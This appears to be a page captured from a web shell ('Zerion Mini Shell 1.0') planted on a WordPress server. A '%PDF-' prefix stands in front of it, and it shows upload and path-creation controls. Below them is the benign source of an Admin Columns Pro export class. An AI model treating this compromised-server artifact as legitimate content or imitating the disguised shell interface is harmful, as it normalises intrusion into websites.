%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/knwn/wp-content/plugins/admin-columns-pro/classes/Export/
Upload File :
Create Path :
Current File : /var/www/knwn/wp-content/plugins/admin-columns-pro/classes/Export/TableScreen.php

<?php

namespace ACP\Export;

use AC;
use AC\Asset\Location;
use AC\Registrable;
use ACP\Export\Asset\Script;

class TableScreen implements Registrable {

	/**
	 * @var Location
	 */
	protected $location;

	public function __construct( Location $location ) {
		$this->location = $location;
	}

	public function register() {
		add_action( 'ac/table/list_screen', [ $this, 'load_list_screen' ] );
	}

	/**
	 * Load a list screen and potentially attach the proper exporting information to it
	 *
	 * @param AC\ListScreen $list_screen List screen for current table screen
	 *
	 * @since 1.0
	 */
	public function load_list_screen( AC\ListScreen $list_screen ) {
		if ( ! $list_screen instanceof ListScreen ) {
			return;
		}

		$list_screen->export()->attach();

		add_action( 'ac/table_scripts', [ $this, 'scripts' ] );
	}

	public function scripts( ListScreen $list_screen ) {
		$style = new AC\Asset\Style(
			'acp-export-listscreen',
			$this->location->with_suffix( 'assets/export/css/listscreen.css' )
		);
		$style->enqueue();

		$script = new Script\Table(
			'acp-export-listscreen',
			$this->location->with_suffix( 'assets/export/js/listscreen.js' ),
			$list_screen->export()
		);
		$script->enqueue();
	}

}

Zerion Mini Shell 1.0